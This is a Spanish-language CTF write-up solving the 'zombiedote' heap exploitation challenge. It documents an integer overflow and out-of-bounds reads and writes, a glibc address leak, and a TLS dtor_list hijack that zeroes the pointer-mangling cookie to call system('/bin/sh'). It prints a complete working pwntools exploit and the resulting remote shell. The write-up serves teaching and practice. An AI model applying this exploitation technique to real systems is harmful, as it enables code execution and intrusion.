Zombiedote
15 minutos de lectura
Se nos proporciona un binario de 64 bits llamado zombiedote
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Ingeniería inversa
Tenemos un menú típico de un reto de explotación del heap:
$ ./zombiedote
[ BioShield Solutions Research Institute ]
Virus Concentration Levels Logging - Manual Mode: ON
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>>
Si abrimos el binario en Ghidra, veremos el código fuente en C descompilado para el programa. Después de configurar nombres y tipos de variables y comprender la estructura de los logs, podemos definir la siguiente struct
en Ghidra para mejorar la legibilidad:
typedef struct {
size_t n_samples;
double* samples;
int inserted;
int n_edits;
int inspected;
} log_t;
Ahora tenemos una función main
limpia:
void main() {
int option;
log_t log;
setup();
banner();
log.n_samples = 0;
log.samples = NULL;
log.inserted = 0;
log.n_edits = 0;
log.inspected = 0;
do {
option = menu();
switch (option) {
default:
error("Invalid option.");
break;
case 1:
create(&log);
break;
case 2:
insert(&log);
break;
case 3:
delete();
break;
case 4:
edit(&log);
break;
case 5:
inspect(&log);
}
} while (true);
}
Tenemos varias opciones. Analicémoslas una por una. Obsérvese que hay una variable log
que se pasa por referencia al resto de las funciones.
Función de asignación
Esta es la función create
:
void create(log_t *log) {
double *p_samples;
if (log->samples == NULL) {
printf("\nNumber of samples: ");
scanf("%lu", &log->n_samples);
p_samples = (double *) malloc(8 * log->n_samples);
log->samples = p_samples;
if (log->samples == NULL) {
error("Failed to allocate memory for the log.");
exit(0x520);
}
success("Created a log.");
} else {
error("A log has already been created.");
}
}
Aquí, se nos pide el número de muestras para introducir en el log
. Entonces, el programa llama a malloc
con el número de muestras multiplicado por 8
(esto se debe al hecho de que el atributo samples
contiene un vector de valores double
). Obsérvese que una vez que se asigne el registro, no podremos llamar a malloc
otra vez.
Aquí tenemos dos cosas interesantes:
- Podemos asignar cualquier tamaño. Por ejemplo, podemos asignar un chunk enorme que no se ajuste en el espacio habitual de direcciones del heap y, en cambio, se asigne con
mmap
. - Podemos abusar de una vulnerabilidad de Integer Overflow para tener un gran número en
n_samples
. Por ejemplo, si ingresamos0xe000000000000018
, tendremosn_samples
con este gran valor, y luegomalloc
asignará8 * 0xe000000000000018 = 0xc0
.
Función de inserción
Esta es insert
:
void insert(log_t *log) {
size_t n_samples;
size_t i;
if (log->samples == NULL) {
error("No log to insert into.");
} else if (log->inserted == 0) {
printf("\nNumber of samples tested: ");
scanf("%lu", &n_samples);
if (log->n_samples < n_samples) {
error("Invalid input.");
exit(0x520);
}
for (i = 0; i < n_samples; i++) {
printf("\nVirus concentration level in sample #%ld (%%): ", i);
scanf("%lf", log->samples[i]);
puts("Value entered.");
}
success("Data inserted.");
log->inserted = 1;
} else {
error("Already inserted into log.");
}
}
Como se puede ver, solo podemos llamar a esta función siempre que log
esté asignado. Se nos pide que ingresemos el número de muestras (con un máximo de n_samples
). Estas muestras deben ser valores double
.
Si explotamos la vulnerabilidad de Integer Overflow de create
, podemos lograr una primitiva de escritura casi ilimitada respecto a la dirección de log->samples
, siendo capaces de escribir out-of-bounds (OOB).
Función de liberación
La función delete
no está implementada y simplemente sale:
void delete() {
error("Operation not implemented yet. Exiting...");
exit(0x520);
}
Función de edición
Esta es la función edit
:
void edit(log_t *log) {
long index;
if (log->samples == NULL) {
error("No log to edit.");
} else if (log->n_edits < 2) {
index = 0;
printf("\nEnter sample number: ");
scanf("%lu", &index);
printf("\nVirus concentration level in sample #%ld (%%): ", index);
scanf("%lf", log->samples[index]);
log->n_edits++;
success("Log edited.");
} else {
error("Maximum number of edits has been reached.");
}
}
En esta función, se nos permite escribir en un offset de log->samples
. Nuevamente, tenemos una primitiva de escritura OOB, porque controlamos el index
dónde escribir y no hay verificaciones de límites. Como antes, debemos ingresar el valor como un double
. Además, obsérvese que tenemos un máximo de dos ediciones.
Función de información
Por último, pero no menos importante, tenemos inspect
:
void inspect(log_t *log) {
long number;
if (log->samples == NULL) {
error("No log to inspect.");
} else if (log->inspected == 0) {
number = 0;
printf("\nEnter sample number to inspect: ");
scanf("%lu", &number);
printf("\nVirus concentration level in sample #%ld (%%): %.16g\n", log->samples[number], number);
log->inspected = 1;
success("Log inspected.");
} else {
error("The log has already been inspected.");
}
}
Al igual que en edit
, se nos pide un índice para leer su valor. Dado que no hay verificación de límites, tenemos una lectura OOB como un número de punto flotante. Sin embargo, solo podemos llamar a inspect
una vez.
Estrategia de explotación
En resumen, tenemos:
- Posibilidad de asignar un chunk enorme en
create
que se gestione conmmap
y añadir valoresdouble
- Integer Overflow en
create
que se puede explotar para tener un número casi ilimitado de inserciones a partir de la dirección delog->samples
- Dos escrituras OOB relativas a
log->samples
(comodouble
) - Una lectura OOB relativa a
log->samples
(comodouble
)
Obsérvese que el programa usa Glibc 2.34:
$ ./glibc/ld-2.34.so ./glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu1) stable release version 2.34.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 10.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Esto es relevante porque es una versión de Glibc moderna, con muchos parches. Por ejemplo, los exploits de House of Force y House of Orange están parcheados, por lo que no podemos usar las inserciones ilimitadas para modificar el tamaño del top chunk. Además, no es fácil fugar direcciones de memoria del heap.
Chunk de mmap
Si ponemos en un gran tamaño para el chunk, se asignará con mmap
en un espacionde memoria entre libc.so.6
y ld-2.34.so
:
$ gdb -q zombiedote
Reading symbols from zombiedote...
(No debugging symbols found in zombiedote)
pwndbg> aslr on
ASLR is ON (show disable-randomization)
pwndbg> break insert
Breakpoint 1 at 0x159b
pwndbg> run
Starting program: ./zombiedote
warning: Expected absolute pathname for libpthread in the inferior, but got ./glibc/libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
[ BioShield Solutions Research Institute ]
Virus Concentration Levels Logging - Manual Mode: ON
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> 1
Number of samples: 17000
[+] Created a log.
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> 2
Breakpoint 1, 0x0000561b1384a59b in insert ()
pwndbg> p/x $rdi
$1 = 0x7ffd8d22cfe0
pwndbg> x/4gx $rdi
0x7ffd8d22cfe0: 0x0000000000004268 0x00007f890cace010
0x7ffd8d22cff0: 0x0000000000000000 0x00007f8900000000
pwndbg> x/10gx 0x00007f890cace000
0x7f890cace000: 0x0000000000000000 0x0000000000022002
0x7f890cace010: 0x0000000000000000 0x0000000000000000
0x7f890cace020: 0x0000000000000000 0x0000000000000000
0x7f890cace030: 0x0000000000000000 0x0000000000000000
0x7f890cace040: 0x0000000000000000 0x0000000000000000
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x561b13849000 0x561b1384a000 r--p 1000 0 ./zombiedote
0x561b1384a000 0x561b1384b000 r-xp 1000 1000 ./zombiedote
0x561b1384b000 0x561b1384c000 r--p 1000 2000 ./zombiedote
0x561b1384c000 0x561b1384d000 r--p 1000 2000 ./zombiedote
0x561b1384d000 0x561b1384e000 rw-p 1000 3000 ./zombiedote
0x561b1384e000 0x561b13851000 rw-p 3000 5000 ./zombiedote
0x561b15356000 0x561b15377000 rw-p 21000 0 [heap]
0x7f890c800000 0x7f890c82c000 r--p 2c000 0 ./glibc/libc.so.6
0x7f890c82c000 0x7f890c9c0000 r-xp 194000 2c000 ./glibc/libc.so.6
0x7f890c9c0000 0x7f890ca14000 r--p 54000 1c0000 ./glibc/libc.so.6
0x7f890ca14000 0x7f890ca15000 ---p 1000 214000 ./glibc/libc.so.6
0x7f890ca15000 0x7f890ca18000 r--p 3000 214000 ./glibc/libc.so.6
0x7f890ca18000 0x7f890ca1b000 rw-p 3000 217000 ./glibc/libc.so.6
0x7f890ca1b000 0x7f890ca28000 rw-p d000 0 [anon_7f890ca1b]
0x7f890cace000 0x7f890caf5000 rw-p 27000 0 [anon_7f890cace]
0x7f890caf5000 0x7f890caf6000 r--p 1000 0 ./glibc/ld-2.34.so
0x7f890caf6000 0x7f890cb1e000 r-xp 28000 1000 ./glibc/ld-2.34.so
0x7f890cb1e000 0x7f890cb28000 r--p a000 29000 ./glibc/ld-2.34.so
0x7f890cb28000 0x7f890cb2a000 r--p 2000 32000 ./glibc/ld-2.34.so
0x7f890cb2a000 0x7f890cb2c000 rw-p 2000 34000 ./glibc/ld-2.34.so
0x7ffd8d20e000 0x7ffd8d22f000 rw-p 21000 0 [stack]
0x7ffd8d29f000 0x7ffd8d2a3000 r--p 4000 0 [vvar]
0x7ffd8d2a3000 0x7ffd8d2a5000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
He usado 17000
porque 8 * 17000 = 0x21340
, que es mayor que el tamaño del heap (0x21000
). El chunk de mmap
se posiciona en anon_7f890cace
, entre libc.so.6
y ld-2.34.so
.
Obsérvese que hay una página de guarda entre el chunk de mmap
y libc.so.6
(el espacio entre anon_7f890ca1b
y anon_7f890cace
es aleatorio). Sin embargo, el offset entre el chunk de mmap
y ld-2.34.so
es fijo.
Fugando direcciones de memoria
El hecho de que el chunk tenga un offset fijo a ld-2.34.so
nos permite acceder a este espacio de direcciones con inspect
y buscar un puntero de Glibc para evador el ASLR. Si hacemos esto, no podremos usar más inspect
.
Aquí, también consideré tratar de filtrar una dirección de la pila (en Glibc environ
). Con esto, quería modificar la estructura log
y tener lectura/escritura OOB ilimitadas. Pero no es posible porque el offset a la pila no es fioa desde la posición del chunk, y no sabemos dónde se coloca.
Entonces, la mejor fuga para obtener es una dirección Glibc. Encontré algunos punteros en la sección morada de ld-2.34.so
:
pwndbg> x/30gx 0x7f890cb2a000
0x7f890cb2a000: 0x0000000000034e70 0x0000000000000000
0x7f890cb2a010: 0x0000000000000000 0x00007f890c978140
0x7f890cb2a020 <_dl_signal_exception@got.plt>: 0x00007f890c978080 0x00007f890c9780e0
0x7f890cb2a030 <_dl_catch_error@got.plt>: 0x00007f890c978260 0x0000000000000000
0x7f890cb2a040 <_rtld_global>: 0x00007f890cb2b220 0x0000000000000004
0x7f890cb2a050 <_rtld_global+16>: 0x00007f890cb2b4e0 0x0000000000000000
0x7f890cb2a060 <_rtld_global+32>: 0x00007f890caf32b0 0x0000000000000000
0x7f890cb2a070 <_rtld_global+48>: 0x0000000000000000 0x0000000000000001
0x7f890cb2a080 <_rtld_global+64>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a090 <_rtld_global+80>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0a0 <_rtld_global+96>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0b0 <_rtld_global+112>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0c0 <_rtld_global+128>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0d0 <_rtld_global+144>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0e0 <_rtld_global+160>: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x00007f890c978260
0x7f890c978260 <__GI__dl_catch_error>: 0x89495441fa1e0ff3
pwndbg> p/d (0x7f890cb2a030 - 0x7f890cace010) / 8
$2 = 47108
Desarrollo del exploit
Comencemos a escribir el exploit. Usaremos estas funciones auxiliares:
def create(number: int):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Number of samples: ', str(number).encode())
def insert(samples: List[float]):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Number of samples tested: ', str(len(samples)).encode())
for sample in samples:
p.sendlineafter(b'(%): ', str(sample).encode())
def delete():
p.sendlineafter(b'>> ', b'3')
def edit(number: int, sample: float):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'Enter sample number: ', str(number).encode())
p.sendlineafter(b'(%): ', str(sample).encode())
def inspect(number: int) -> float:
p.sendlineafter(b'>> ', b'5')
p.sendlineafter(b'Enter sample number to inspect: ', str(number).encode())
p.recvuntil(b'(%): ')
return float(p.recvline().decode())
Implementemos el procedimiento para fugar una dirección de Glibc y encontrar la dirección base para evadir el ASLR:
create(17000)
glibc.address = u64(pack('d', inspect(47108))) - glibc.sym.__GI__dl_catch_error
p.success(f'Glibc base address: {hex(glibc.address)}')
Aquí la tenemos:
$ python3 solve.py
[*] './zombiedote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
[+] Starting local process './zombiedote': pid 2259404
[+] Glibc base address: 0x7fe9fac00000
[*] Switching to interactive mode
[+] Log inspected.
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> $
Obteniendo RCE
En este punto, tenemos dos escrituras OOB para lograr ejecución del código arbitrario. Sin embargo, solo disponemos de offsets relativos a ld-2.34.so
. Encontré esta lista increíble de técnicas de explotación modernas para GLIBC >= 2.34, pero no pude implementar ninguna de estas técnicas con la situación actual.
El problema es que no tenemos un offset fijo a Glibc desde el chunk de mmap
. Todas las técnicas requieren un espacio de memoria para mantener una estructura falsa (exit_handler
, link_map
, FILE
), que es posible debido a insert
. Pero luego necesitamos modificar la memoria de Glibc para señalar a nuestro chunk de mmap
, y no sabemos dónde estamos ubicados.
La técnica más simple que encontré para esta situación es modificar el Thread Local Storage (TLS) para insertar un objeto dtor_list
Eso apunta al chunk, que tiene system
y la dirección de "/bin/sh"
(más información aquí). Pero de nuevo, ¡necesito un puntero al chunk!
Podríamos considerar usar fuerza bruta en la dirección del chunk de mmap
, debido a que los tamaños de página de guarda son más o menos predecibles, solo cambian 12 bits. Pero esto daría como resultado una probabilidad de 1/4096 de tener éxito, por lo que no es muy asequible.
Cambiando a Docker
Después de mucha investigación tratando de encontrar una técnica adecuada que pudiera funcionar en esta situación, probé el exploit actual en la instancia remota, para ver si pasaba lo mismo, y descubrí que la dirección de Glibc era incorrecta, por lo que no estaba obteniendo una dirección de Glibc utilizando el enfoque anterior. Luego, arranqué la imagen de Docker proporcionada y vi el mismo comportamiento.
$ python3 solve.py 94.237.56.248:52869
[*] './zombiedote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
[+] Opening connection to 94.237.56.248 on port 52869: Done
[+] Glibc base address: 0x1e8948f8e16b85c2
[*] Switching to interactive mode
[+] Log inspected.
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> $
Investigué este problema ejecutando GDB (usando la extensión gef
de bata24) dentro del contenedor (modificado para tener acceso como root
) y hacer los mismos pasos:
$ docker run -it --rm -v "$PWD:/tmp" zombiedote sh
# apk update
...
# apk add python3 py3-pip wget git gdb
...
# wget -q https://raw.githubusercontent.com/bata24/gef/dev/install.sh -O- | sh
...
# gdb -q zombiedote
Reading symbols from zombiedote...
(No debugging symbols found in zombiedote)
gef> aslr on
[+] Enabling ASLR
gef> break insert
Breakpoint 1 at 0x159b
gef> run
Starting program: /home/ctf/zombiedote
warning: Expected absolute pathname for libpthread in the inferior, but got ./glibc/libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
[ BioShield Solutions Research Institute ]
Virus Concentration Levels Logging - Manual Mode: ON
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> 1
Number of samples: 17000
[+] Created a log.
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> 2
Breakpoint 1.1, 0x000055f89365c59b in insert ()
gef> p/x $rdi
$1 = 0x7ffe18b283f0
gef> x/4gx $rdi
0x7ffe18b283f0: 0x0000000000004268 0x00007fe9868c7010
0x7ffe18b28400: 0x0000000000000000 0x00007fe900000000
gef> x/10gx 0x00007fe9868c7000
0x7fe9868c7000: 0x0000000000000000 0x0000000000022002
0x7fe9868c7010: 0x0000000000000000 0x0000000000000000
0x7fe9868c7020: 0x0000000000000000 0x0000000000000000
0x7fe9868c7030: 0x0000000000000000 0x0000000000000000
0x7fe9868c7040: 0x0000000000000000 0x0000000000000000
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x000055f89365b000 0x000055f89365c000 0x0000000000001000 0x0000000000000000 r-- /home/ctf/zombiedote
0x000055f89365c000 0x000055f89365d000 0x0000000000001000 0x0000000000001000 r-x /home/ctf/zombiedote <- $rip, $r13
0x000055f89365d000 0x000055f89365e000 0x0000000000001000 0x0000000000002000 r-- /home/ctf/zombiedote <- $rdx
0x000055f89365e000 0x000055f89365f000 0x0000000000001000 0x0000000000002000 r-- /home/ctf/zombiedote
0x000055f89365f000 0x000055f893660000 0x0000000000001000 0x0000000000003000 rw- /home/ctf/zombiedote
0x000055f893660000 0x000055f893661000 0x0000000000001000 0x0000000000005000 rw- /home/ctf/zombiedote
0x000055f893661000 0x000055f893662000 0x0000000000001000 0x0000000000006000 rw- /home/ctf/zombiedote
0x000055f893662000 0x000055f893663000 0x0000000000001000 0x0000000000007000 rw- /home/ctf/zombiedote
0x000055f89458c000 0x000055f8945ad000 0x0000000000021000 0x0000000000000000 rw- [heap]
0x00007fe9868c7000 0x00007fe9868ec000 0x0000000000025000 0x0000000000000000 rw- <tls-th1>
0x00007fe9868ec000 0x00007fe986918000 0x000000000002c000 0x0000000000000000 r-- /home/ctf/glibc/libc.so.6
0x00007fe986918000 0x00007fe986aac000 0x0000000000194000 0x000000000002c000 r-x /home/ctf/glibc/libc.so.6
0x00007fe986aac000 0x00007fe986b00000 0x0000000000054000 0x00000000001c0000 r-- /home/ctf/glibc/libc.so.6 <- $r10, $r11
0x00007fe986b00000 0x00007fe986b01000 0x0000000000001000 0x0000000000214000 --- /home/ctf/glibc/libc.so.6
0x00007fe986b01000 0x00007fe986b04000 0x0000000000003000 0x0000000000214000 r-- /home/ctf/glibc/libc.so.6
0x00007fe986b04000 0x00007fe986b07000 0x0000000000003000 0x0000000000217000 rw- /home/ctf/glibc/libc.so.6
0x00007fe986b07000 0x00007fe986b16000 0x000000000000f000 0x0000000000000000 rw-
0x00007fe986b16000 0x00007fe986b17000 0x0000000000001000 0x0000000000000000 r-- /home/ctf/glibc/ld-2.34.so
0x00007fe986b17000 0x00007fe986b3f000 0x0000000000028000 0x0000000000001000 r-x /home/ctf/glibc/ld-2.34.so
0x00007fe986b3f000 0x00007fe986b49000 0x000000000000a000 0x0000000000029000 r-- /home/ctf/glibc/ld-2.34.so
0x00007fe986b49000 0x00007fe986b4b000 0x0000000000002000 0x0000000000032000 r-- /home/ctf/glibc/ld-2.34.so <- $r15
0x00007fe986b4b000 0x00007fe986b4d000 0x0000000000002000 0x0000000000034000 rw- /home/ctf/glibc/ld-2.34.so
0x00007ffe18b09000 0x00007ffe18b2a000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $rax, $rsp, $rbp, $rdi, $r12
0x00007ffe18b66000 0x00007ffe18b6a000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffe18b6a000 0x00007ffe18b6c000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]
Sorprendentemente, ¡tenemos una posición diferente! Ahora el chunk de mmap
está posicionado antes de libc.so.6
(<tls-th1>
), con un offset_ fijo, no hay páginas de guarda. Aún hay más, los offsets entre libc.so.6
y ld-2.34.so
son fijos. Como resultado, una vez que tenemos la dirección base de Glibc, podemos realizar varias técnicas de la lista.
Ya que ya tenía la configuración para filtrar __GI__dl_catch_error
(en la última sección de ld-2.34.so
), encontré su offset relativo y la cambié en el exploit:
gef> x/30gx 0x00007fe986b4b000
0x7fe986b4b000: 0x0000000000034e70 0x0000000000000000
0x7fe986b4b010: 0x0000000000000000 0x00007fe986a64140
0x7fe986b4b020 <_dl_signal_exception@got.plt>: 0x00007fe986a64080 0x00007fe986a640e0
0x7fe986b4b030 <_dl_catch_error@got.plt>: 0x00007fe986a64260 0x0000000000000000
0x7fe986b4b040 <_rtld_global>: 0x00007fe986b4c220 0x0000000000000004
0x7fe986b4b050 <_rtld_global+16>: 0x00007fe986b4c4e0 0x0000000000000000
0x7fe986b4b060 <_rtld_global+32>: 0x00007fe986b142b0 0x0000000000000000
0x7fe986b4b070 <_rtld_global+48>: 0x0000000000000000 0x0000000000000001
0x7fe986b4b080 <_rtld_global+64>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b090 <_rtld_global+80>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0a0 <_rtld_global+96>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0b0 <_rtld_global+112>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0c0 <_rtld_global+128>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0d0 <_rtld_global+144>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0e0 <_rtld_global+160>: 0x0000000000000000 0x0000000000000000
gef> x 0x00007fe986a64260
0x7fe986a64260 <__GI__dl_catch_error>: 0x89495441fa1e0ff3
gef> p/d (0x7fe986b4b030 - 0x00007fe9868c7010) / 8
$2 = 329732
TLS-storage dtor_list
Para que esta técnica funcione, necesitamos modificar dos valores en TLS-storage:
gef> tls
$tls = 0x7fe9868e9740
----------------------------------------------- TLS-0x80 -----------------------------------------------
0x7fe9868e96c0|+0x0000|+000: 0x0000000000000000
0x7fe9868e96c8|+0x0008|+001: 0x00007fe986aad4c0 <_nl_C_LC_CTYPE_tolower+0x200> -> 0x0000000100000000
0x7fe9868e96d0|+0x0010|+002: 0x00007fe986aadac0 <_nl_C_LC_CTYPE_toupper+0x200> -> 0x0000000100000000
0x7fe9868e96d8|+0x0018|+003: 0x00007fe986aae3c0 <_nl_C_LC_CTYPE_class+0x100> -> 0x0002000200020002
0x7fe9868e96e0|+0x0020|+004: 0x0000000000000000
0x7fe9868e96e8|+0x0028|+005: 0x0000000000000000
0x7fe9868e96f0|+0x0030|+006: 0x0000000000000000
0x7fe9868e96f8|+0x0038|+007: 0x000055f89458c010 -> 0x0000000000000000
0x7fe9868e9700|+0x0040|+008: 0x0000000000000000
0x7fe9868e9708|+0x0048|+009: 0x00007fe986b04c60 <main_arena> -> 0x0000000000000000
0x7fe9868e9710|+0x0050|+010: 0x0000000000000000
0x7fe9868e9718|+0x0058|+011: 0x0000000000000000
0x7fe9868e9720|+0x0060|+012: 0x0000000000000000
0x7fe9868e9728|+0x0068|+013: 0x0000000000000000
0x7fe9868e9730|+0x0070|+014: 0x0000000000000000
0x7fe9868e9738|+0x0078|+015: 0x0000000000000000
------------------------------------------------- TLS -------------------------------------------------
0x7fe9868e9740|+0x0000|+000: 0x00007fe9868e9740 -> [loop detected]
0x7fe9868e9748|+0x0008|+001: 0x00007fe9868ea160 -> 0x0000000000000001
0x7fe9868e9750|+0x0010|+002: 0x00007fe9868e9740 -> [loop detected]
0x7fe9868e9758|+0x0018|+003: 0x0000000000000000
0x7fe9868e9760|+0x0020|+004: 0x0000000000000000
0x7fe9868e9768|+0x0028|+005: 0x74d612ea6aec0500 <- canary
0x7fe9868e9770|+0x0030|+006: 0xbc9a97aebc9274e2 <- PTR_MANGLE cookie
0x7fe9868e9778|+0x0038|+007: 0x0000000000000000
0x7fe9868e9780|+0x0040|+008: 0x0000000000000000
0x7fe9868e9788|+0x0048|+009: 0x0000000000000000
0x7fe9868e9790|+0x0050|+010: 0x0000000000000000
0x7fe9868e9798|+0x0058|+011: 0x0000000000000000
0x7fe9868e97a0|+0x0060|+012: 0x0000000000000000
0x7fe9868e97a8|+0x0068|+013: 0x0000000000000000
0x7fe9868e97b0|+0x0070|+014: 0x0000000000000000
0x7fe9868e97b8|+0x0078|+015: 0x0000000000000000
El primero es PTR_MANGLE cookie
(0x7fe9868e9770
, TLS +0x0030
). Este valor se usa para cifrar punteros (desplazamientos y XOR). Si ponemos PTR_MANGLE cookie
a cero, la operación XOR no hace nada, y el cifrado se comportará como un desplazamiento. Esto nos permitirá ingresar la dirección de system
desplazada 17 bits a la izquierda, de modo que la operación de mangling desplaza hacia la derecha y vuelve a system
(y el XOR no hace nada).
Y el otro valor que necesitamos es un puntero a nuestro chunk de mmap
(ahora podemos obtener su dirección absoluta, porque el offset relativo a Glibc es fijo). Debemos agregarlo a 0x7fe9868e96e8
(TLS-0x80 +0x0028
). Esto difiere un poco de la explicación de la técnica porque algunos valores son un índice anterior.
Con esto, el programa llamará a la dirección en *(TLS-0x80 +0x0028)
usando argumentos en *(TLS-0x80 +0x0028) + 8
al llamar a exit
.
Entonces, tomemos los offsets:
gef> p/x 0x00007fe9868ec000 - 0x00007fe9868c7010
$4 = 0x24ff0
gef> p/d (0x7fe9868e96e8 - 0x00007fe9868c7010) / 8
$5 = 17627
gef> p/d (0x7fe9868e9770 - 0x00007fe9868c7010) / 8
$6 = 17644
Y así, este es el exploit final, bastante corto y simple:
create(17000)
glibc.address = u64(pack('d', inspect(329732))) - glibc.sym.__GI__dl_catch_error
p.success(f'Glibc base address: {hex(glibc.address)}')
mmap_chunk = glibc.address - 0x24ff0
edit(17627, unpack('d', p64(mmap_chunk))[0])
edit(17644, 0)
insert([
unpack('d', p64(glibc.sym.system << 17))[0],
unpack('d', p64(next(glibc.search(b'/bin/sh'))))[0],
])
delete()
p.interactive()
Flag
En este punto, podemos obtener una shell en la instancia remota:
$ python3 solve.py 94.237.56.248:52869
[*] './zombiedote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
[+] Opening connection to 94.237.56.248 on port 52869: Done
[+] Glibc base address: 0x7fb7d40ee000
[*] Switching to interactive mode
[-] Operation not implemented yet. Exiting...
$ ls
flag.txt
glibc
zombiedote
$ cat flag.txt
HTB{y0u_r3tr13v3d_th3_r3s34rcH_n0t3s_4m4z1ng_j0b_u_54v3d_d4_w0rld}
El código del exploit completo está aquí: solve.py
.